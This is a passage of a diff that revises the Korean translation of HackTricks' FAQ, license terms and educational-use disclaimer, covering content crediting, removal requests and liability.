같은 이점이 있습니다: -- 당신의 **SEO**가 향상됩니다. -- 해당 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람이 접근할 수 있게 됩니다. -- **HackTricks는** 사람들에게 **원문 페이지를 확인하도록 권장**합니다(몇몇 페이지 소유자들은 자신의 페이지가 HackTricks에 올라간 이후 방문자가 늘었다고 알려주었습니다). +- 여러분의 **SEO**가 향상됩니다 +- 해당 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람이 접근할 수 있게 됩니다 +- **HackTricks는** 사람들에게 **여러분의 페이지를 확인하도록 장려**합니다 (일부 페이지 소유자들은 자신의 페이지가 HackTricks에 포함된 이후 방문자가 늘었다고 알려왔습니다) -그럼에도 불구하고 블로그의 콘텐츠를 HackTricks에서 제거하기 원하시면 알려주십시오. 저희는 확실히 **당신의 블로그로의 모든 링크와 해당 기반의 콘텐츠를 제거**하겠습니다. +그러나 그래도 HackTricks에서 여러분 블로그의 콘텐츠를 제거하길 원하시면 알려주세요. 저희는 확실히 **여러분 블로그로의 모든 링크를 제거**하고 해당 기반의 모든 콘텐츠를 삭제하겠습니다. > [!CAUTION] > > - **What should I do if I find copy-pasted content in HackTricks?** -우리는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 원본 출처가 참조되지 않은 채 복사-붙여넣기된 페이지를 발견하시면 알려주십시오. 저희는 해당 내용을 **삭제**, **본문 앞에 링크 추가**, 또는 **링크를 추가하여 재작성**하는 방식 중 하나로 처리하겠습니다. +우리는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 원 출처 없이 복사-붙여넣기된 콘텐츠가 있는 페이지를 발견하시면 알려주세요. 그러면 저희는 해당 내용을 **삭제**하거나, **텍스트 앞에 출처 링크를 추가**하거나, **출처 링크를 넣어 재작성**하겠습니다. -## LICENSE +## 라이선스 Copyright © All rights reserved unless otherwise specified. @@ -114,30 +114,30 @@ Copyright © All rights reserved unless otherwise specified. - Share — copy and redistribute the material in any medium or format. - Adapt — remix, transform, and build upon the material. -#### Additional Terms: +#### 추가 조건: -- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 출판물에서 발췌한 내용 등 제3자 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따라 이루어지거나 해당 저작권 보유자의 명시적 허가를 받아 이루어집니다. 제3자 콘텐츠에 대한 구체적 라이선스 정보는 원문 출처를 참조하시기 바랍니다. -- Authorship: HackTricks가 원저자로 작성한 콘텐츠는 본 라이선스의 적용을 받습니다. 공유하거나 수정할 때 저작자에게 출처를 표기할 것을 권장합니다. +- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌문과 같은 제3자 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용 원칙에 따르거나 해당 저작권 보유자로부터 명시적 허가를 받아 이루어집니다. 제3자 콘텐츠의 특정 라이선스 정보는 원 출처를 참조하십시오. +- Authorship: HackTricks가 작성한 원본 콘텐츠는 이 라이선스의 조건 적용을 받습니다. 공유하거나 수정할 때 저자를 표기하는 것을 권장합니다. -#### Exemptions: +#### 면제 사항: -- Commercial Use: 이 콘텐츠의 상업적 이용에 관한 문의는 저에게 연락해 주십시오. +- Commercial Use: 이 콘텐츠의 상업적 사용에 관한 문의는 연락해 주시기 바랍니다. -이 라이선스는 해당 콘텐츠와 관련된 상표 또는 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 등장하는 모든 상표와 브랜딩은 각 소유자의 재산입니다. +이 라이선스는 콘텐츠와 관련된 상표나 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 표시된 모든 상표와 브랜딩은 각 권리자의 소유입니다. -**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.** +**HackTricks에 접근하거나 사용하는 경우, 이 라이선스 조건을 준수하는 데 동의하는 것으로 간주됩니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.** -## **Disclaimer** +## **면책사항** > [!CAUTION] -> 이 책 'HackTricks'는 교육적 및 정보 제공 목적을 위해 작성되었습니다. 이 책의 내용은 '있는 그대로(as is)' 제공되며, 저자와 발행자는 해당 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적 또는 묵시적으로 어떠한 보증도 하지 않습니다. 따라서 해당 정보에 대한 의존은 전적으로 사용자의 책임입니다. +> 본 책 'HackTricks'는 교육적 및 정보 제공 목적을 위한 것입니다. 이 책 내의 내용은 '있는 그대로' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이든 묵시적이든 어떠한 진술이나 보증도 하지 않습니다. 따라서 이러한 정보에 의존하는 것은 전적으로 본인의 책임입니다. > -> 저자와 발행자는 데이터 손실이나 이익 손실과 관련하여 발생하는 간접적 또는 결과적 손해를 포함한 어떠한 손실이나 손해에 대해서도 책임을 지지 않습니다. +> 저자와 출판사는 이 책의 사용과 관련하여 발생하는 데이터 손실 또는 이익 손실을 포함하되 이에 국한되지 않는 간접적이거나 결과적인 손해 또는 어떠한 손해에 대해서도 책임을 지지 않습니다. > -> 또한 이 책에 설명된 기법과 팁은 교육적·정보 제공 목적으로만 제공되며 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 발행자는 어떠한 불법적이거나 비윤리적인 활동도 용인하거나 지원하지 않으며, 이 책의 정보를 사용하는 것은 전적으로 사용자의 위험과 재량에 달려 있습니다. +> 또한, 이 책에 설명된 기법과 팁은 교육적이고 정보 제공 목적을 위한 것이며 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 어떠한 불법적 또는 비윤리적 활동도 용인하거나 지지하지 않으며, 이 책에 포함된 정보를 사용하는 것은 사용자의 위험과 재량에 따릅니다. > -> 사용자는 이 책에 포함된 정보를 기반으로 취한 모든 행동에 대해 전적으로 책임을 지며, 본서에 기술된 기법이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다. +> 사용자는 이 책에 포함된 정보를 바탕으로 취한 모든 행동에 대해 단독으로 책임을 지며, 기법이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다. > -> 이 책을 사용함으로써, 사용자는 저자와 발행자를 이 책 또는 이 책에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 해에 대해 면책시키는 데 동의합니다. +> 이 책을 사용함으로써 사용자는 저자와 출판자를 이 책 또는 그에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해에 대해 면책하는 데 동의하는 것입니다. {{#include ../banners/hacktricks-training.md}}